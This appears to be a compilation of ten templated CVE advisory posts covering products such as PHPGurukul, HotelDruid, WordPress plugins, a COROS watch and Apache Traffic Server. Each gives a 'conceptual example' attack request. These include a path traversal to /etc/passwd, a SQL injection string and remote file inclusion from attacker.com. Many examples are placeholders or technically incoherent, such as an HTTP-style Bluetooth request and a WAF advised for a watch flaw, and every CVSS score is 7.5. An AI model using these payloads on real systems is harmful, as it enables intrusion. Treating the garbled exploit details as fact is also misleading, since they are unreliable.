Author: Ameeba

Overview

A critical cybersecurity vulnerability, tagged as CVE-2025-50348, has been identified in PHPGurukul Pre-School Enrollment System Project V1.0, a software widely used in educational institutions. This vulnerability opens the door for potential directory traversal attacks, leading to system compromise or data leakage. The severity of this vulnerability coupled with the software’s extensive use underscores the urgent need for immediate remediation.

Vulnerability Summary

CVE ID: CVE-2025-50348
Severity: High (7.5 – CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

PHPGurukul Pre-School Enrollment System Project | V1.0

How the Exploit Works

The CVE-2025-50348 vulnerability exists due to insufficient input validation in the update-class-pic.php file of PHPGurukul Pre-School Enrollment System Project V1.0. An attacker can craft a malicious GET/POST request containing directory traversal characters (../) to access directories and execute files outside of the intended directory.

Conceptual Example Code

The following is a conceptual example of a malicious HTTP request that could exploit this vulnerability:

POST /update-class-pic.php HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "pic_path": "../../../etc/passwd" }

In this example, the “pic_path” parameter is used to traverse the directory structure to access sensitive data contained in the “/etc/passwd” file, a standard Unix file that contains user account details.

Mitigation Measures

To mitigate this vulnerability, users of PHPGurukul Pre-School Enrollment System Project V1.0 are advised to apply the latest patches provided by the vendor as soon as possible. In the interim, usage of Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) can help in detecting and preventing directory traversal attacks. Regular audits of systems and usage of least privilege principles can also reduce the potential impact of such vulnerabilities.

Overview

The vulnerability, labeled CVE-2025-3221, is a potent security flaw discovered in IBM InfoSphere Information Server versions 11.7.0.0 through 11.7.1.6. This vulnerability allows a remote attacker to cause a denial-of-service (DoS) attack. The severity and the potential for system compromise or data leakage make this vulnerability crucial for organizations to address.

Vulnerability Summary

CVE ID: CVE-2025-3221
Severity: High – CVSS Score: 7.5
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Denial of Service attack, potential system compromise, and data leakage

Affected Products

Product | Affected Versions

IBM InfoSphere Information Server | 11.7.0.0 to 11.7.1.6

How the Exploit Works

The vulnerability is due to insufficient validation of incoming request resources. A remote attacker can exploit this by sending specially crafted requests to the affected system. This can lead to a denial of service, which can potentially compromise the system and lead to data leakage.

Conceptual Example Code

An attacker might exploit the vulnerability by sending a malicious request like the one below:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "..." }

This is a conceptual example, and the actual malicious payload would depend on the specific details of the vulnerability.

Mitigation

IBM has released a patch addressing this vulnerability. All users are advised to apply the vendor patch as soon as possible. In cases where immediate patching is not feasible, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation. However, these should not be seen as a permanent solution and the patch should be applied as soon as practicable.

Overview

A high impact vulnerability, identified as CVE-2025-45331, has been discovered in the data processing module of brplot v420.69.1. This vulnerability, which is a Null Pointer Dereference (NPD) flaw, can lead to unpredictable program behavior, causing segmentation faults and program crashes. It is of significant concern because it could potentially result in system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-45331
Severity: High (CVSS: 7.5)
Attack Vector: Local
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

brplot | v420.69.1

How the Exploit Works

The vulnerability CVE-2025-45331 resides in the ‘br_dagens_handle_once’ function of the data processing module in brplot v420.69.1. An attacker exploiting this vulnerability can trigger a Null Pointer Dereference (NPD) error by supplying specific inputs. This will lead to segmentation faults and program crashes, and could potentially allow the attacker to execute arbitrary code or cause a denial of service.

Conceptual Example Code

A conceptual example of an exploit of the vulnerability might look like this:

#include <brplot.h>
int main() {
brplot_data data = NULL;
br_dagens_handle_once(data);
return 0;
}

In this conceptual example, the brplot_data variable is intentionally set to NULL, and then passed to the vulnerable ‘br_dagens_handle_once’ function, causing a Null Pointer Dereference and potentially crashing the program.

Mitigation

Users are advised to apply the vendor patch as soon as it is available. Until then, the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can offer temporary mitigation. These systems can be configured to detect and block attempts to exploit this vulnerability.

Overview

This report provides an analysis of the critical vulnerability CVE-2025-44203, which affects HotelDruid 3.0.7. This pervasive vulnerability allows an unauthenticated attacker to exploit SQL error messages, potentially compromising the system or leading to data leakage. Given the potential for significant impact on affected systems, it is crucial for administrators and system owners to understand the nature of this vulnerability and its mitigation.

Vulnerability Summary

CVE ID: CVE-2025-44203
Severity: High (7.5 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise, data leakage, and Denial of Service (DoS)

Affected Products

Product | Affected Versions

HotelDruid | 3.0.7

How the Exploit Works

The vulnerability lies in the verbose SQL error messages on creadb.php before the ‘create database’ button is pressed. An attacker can send malformed POST requests to this endpoint, which can cause the system to reveal sensitive data such as the administrator username, password hash, and salt. In addition, the exploit can potentially cause a Denial of Service (DoS), preventing the administrator from logging in even with the correct credentials.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited:

POST /creadb.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
malformed_data=' OR '1'='1

In this example, the attacker sends a malformed SQL query in the POST request. If the system is vulnerable, it may respond with verbose SQL error messages revealing sensitive information.

Mitigation

Until a patch is available from the vendor, administrators are advised to use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to mitigate the vulnerability. These systems can detect and block the malformed POST requests that exploit this vulnerability. Always ensure that your systems are updated with the latest security patches and follow best security practices to mitigate the risks of such vulnerabilities.

Overview

The CVE-2025-52802 vulnerability pertains to a missing authorization issue in the ‘Import YouTube videos as WP Posts’ WordPress plugin. This vulnerability poses a significant risk to any website utilizing versions of the plugin up to and including 2.1, as it allows unauthorized access due to improperly configured access control security levels. The flaw’s exploitation can potentially result in system compromise and data leakage.

Vulnerability Summary

CVE ID: CVE-2025-52802
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Import YouTube videos as WP Posts | Up to and including 2.1

How the Exploit Works

The exploit takes advantage of a missing authorization check in the ‘Import YouTube videos as WP Posts’ plugin. By exploiting the incorrectly configured access control security levels, an attacker can gain unauthorized access to the system. This can subsequently lead to unauthorized actions such as data manipulation or extraction, potentially resulting in system compromise or data leakage.

Conceptual Example Code

Here is a hypothetical example of how the vulnerability might be exploited:

GET /wp-admin/admin-ajax.php?action=import_youtube_videos_as_wp_posts&target_url=malicious_content HTTP/1.1
Host: target.example.com
Content-Type: application/json

In this example, an attacker sends a GET request to the vulnerable endpoint, `admin-ajax.php`, with a malicious URL as a parameter. Due to the lack of proper authorization checks, the server processes the request, leading to the execution of the attacker’s malicious content.

Mitigation Guidance

To mitigate this vulnerability, users should apply the vendor’s patch. If the patch is unavailable, employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. Regularly updating and patching software can also prevent future vulnerabilities of this nature.

Overview

The vulnerability, CVE-2025-52715, is a significant security breach that affects RadiusTheme Classified Listing users. This PHP Remote File Inclusion vulnerability allows attackers to include and execute arbitrary remote files via the PHP script, potentially leading to system compromise or data leakage. It is crucial to address this vulnerability promptly due to its potential for detrimental impacts on system integrity and confidentiality.

Vulnerability Summary

CVE ID: CVE-2025-52715
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

RadiusTheme Classified Listing | n/a – 4.2.0

How the Exploit Works

The PHP Remote File Inclusion vulnerability occurs when an application uses user input to construct a filesystem path that is then included or required by the application. In this case, the inadequate controls within the Classified Listing application allow an attacker to manipulate the filename that is passed to the include/require statement, thereby allowing the inclusion of a file from a remote server.

Conceptual Example Code

The below conceptual example demonstrates how an attacker might exploit this vulnerability using a malicious URL:

GET /vulnerable_page.php?file=http://attacker.com/malicious_script.txt HTTP/1.1
Host: target.example.com

In this example, the attacker has injected a malicious script (`malicious_script.txt`) hosted on their server (`attacker.com`) into the `file` parameter of the URL. The server then processes the included malicious script, leading to a successful exploit.

Mitigation Guidance

To mitigate this vulnerability, users are advised to apply the patch provided by the vendor. In the absence of a patch, a temporary solution involves using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block any suspicious activity. Furthermore, it is recommended to disable the inclusion of remote files in the PHP configuration if it’s not necessary for the application’s functionality.

Overview

The vulnerability, identified as CVE-2025-52708, exploits a PHP Remote File Inclusion vulnerability in RealMag777 HUSKY. It allows an attacker to include PHP files from external servers, potentially leading to system compromise or data leakage. Given its severity and widespread potential impact, it is critical that businesses ensure their systems are adequately protected.

Vulnerability Summary

CVE ID: CVE-2025-52708
Severity: High (7.5/10)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

RealMag777 HUSKY | n/a through 1.3.7

How the Exploit Works

The PHP Remote File Inclusion vulnerability in RealMag777 HUSKY allows an attacker to manipulate the PHP “include” or “require” statements, which are used to import and execute PHP code from another file. By manipulating the filename for these statements, an attacker can include PHP files from an external server, effectively executing arbitrary PHP code on the victim’s server.

Conceptual Example Code

An attacker might exploit this vulnerability by sending a malicious request like this:

GET /index.php?file=http://attacker.com/malicious_file HTTP/1.1
Host: vulnerable.example.com

In this example, the attacker is attempting to include and execute the file “malicious_file” from “attacker.com” on the victim’s server. If successful, this could lead to a system compromise or data leakage.

Overview

This report details a critical vulnerability, identified as CVE-2025-48705, found within COROS PACE 3 versions through 3.0808.0. The vulnerability, a NULL pointer dereference, can be exploited to force the device to reboot, potentially compromising the system and leading to data leakage. Given the severity of this vulnerability, it is essential that affected systems are patched as soon as possible.

Vulnerability Summary

CVE ID: CVE-2025-48705
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Forced reboot of the device which could lead to system compromise or data leakage

Affected Products

Product | Affected Versions

COROS PACE 3 | Up to 3.0808.0

How the Exploit Works

The vulnerability stems from a NULL pointer dereference within the COROS PACE 3 device. By sending a specifically crafted BLE (Bluetooth Low Energy) message to the device, an attacker can exploit this vulnerability to force the device into a reboot. This can potentially compromise the system, and in worst-case scenarios, lead to data leakage.

Conceptual Example Code

The following is a conceptual example of a malicious BLE payload that could potentially exploit this vulnerability:

BLE /connect/device
Host: target.coros.com
{ "malicious_payload": "NULL_POINTER_DEREFERENCE_TRIGGER" }

A crafted payload that triggers the NULL pointer dereference is sent to the device via a BLE connection. This forces the device to reboot, potentially compromising the system and leading to data leakage.

Mitigation Guidance

Users are advised to apply the vendor patch as soon as it is available to mitigate the risk associated with this vulnerability. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. By monitoring network traffic for suspicious BLE messages, these systems can potentially prevent the exploitation of this vulnerability. However, these are merely temporary solutions and cannot replace the necessity of a proper patch from the vendor.

Overview

CVE-2025-49715 represents a significant vulnerability in Dynamics 365 FastTrack Implementation Assets. This vulnerability allows unauthorized attackers to gain access and disclose private personal information over a network. The exposure of such sensitive information could pose serious risks to both organizations and individuals, potentially leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-49715
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized access to private personal information, potential system compromise or data leakage

Affected Products

Product | Affected Versions

Dynamics 365 FastTrack Implementation Assets | All current versions

How the Exploit Works

The vulnerability is exploited through the network interface of the Dynamics 365 FastTrack Implementation Assets. An attacker manipulates the system by sending specially crafted packets over the network that cause the system to expose private personal data. This data can then be intercepted and collected by the attacker.

Conceptual Example Code

Here is a conceptual example of how an attacker might exploit this vulnerability using a malicious HTTP request:

POST /privateinfo/endpoint HTTP/1.1
Host: target.dynamics.com
Content-Type: application/json
{ "exploit_code": "malicious_packet" }

In this example, “malicious_packet” is a placeholder for the actual exploit code that an attacker would use to trigger the vulnerability and expose private personal information.

Mitigation Recommendations

The most effective way to mitigate this vulnerability is to apply the vendor patch as soon as it becomes available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation by blocking or alerting on suspicious network activity. Regularly monitoring system and network logs for unusual activity can also help in early detection of potential attacks.

Overview

This report details a significant vulnerability in Apache Traffic Server, identified as CVE-2025-49763. This vulnerability affects versions from 10.0.0 through 10.0.5 and from 9.0.0 through 9.2.10. The issue arises from the ESI plugin not having a limit for maximum inclusion depth, potentially leading to excessive memory consumption if malicious instructions are inserted. If exploited, this vulnerability could lead to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-49763
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Apache Traffic Server | 10.0.0 – 10.0.5
Apache Traffic Server | 9.0.0 – 9.2.10

How the Exploit Works

The vulnerability is exploited when an attacker manipulates the ESI plugin by inserting malicious instructions. The ESI plugin, due to its lack of a maximum inclusion depth limit, continues to process these instructions, causing excessive memory consumption. This can lead to a system crash or, in some cases, the execution of arbitrary code.

Conceptual Example Code

POST /ESIplugin/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_instructions": "Insert excessive instructions here to cause memory overflow" }

Mitigation

Users are advised to upgrade to version 9.2.11 or 10.0.6 of Apache Traffic Server, which contain a fix for the issue. Alternatively, as a temporary mitigation, users can apply a vendor patch, or use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block the exploit attempts. Furthermore, a new setting for the ESI plugin (–max-inclusion-depth) can be used to limit the inclusion depth and prevent excessive memory consumption.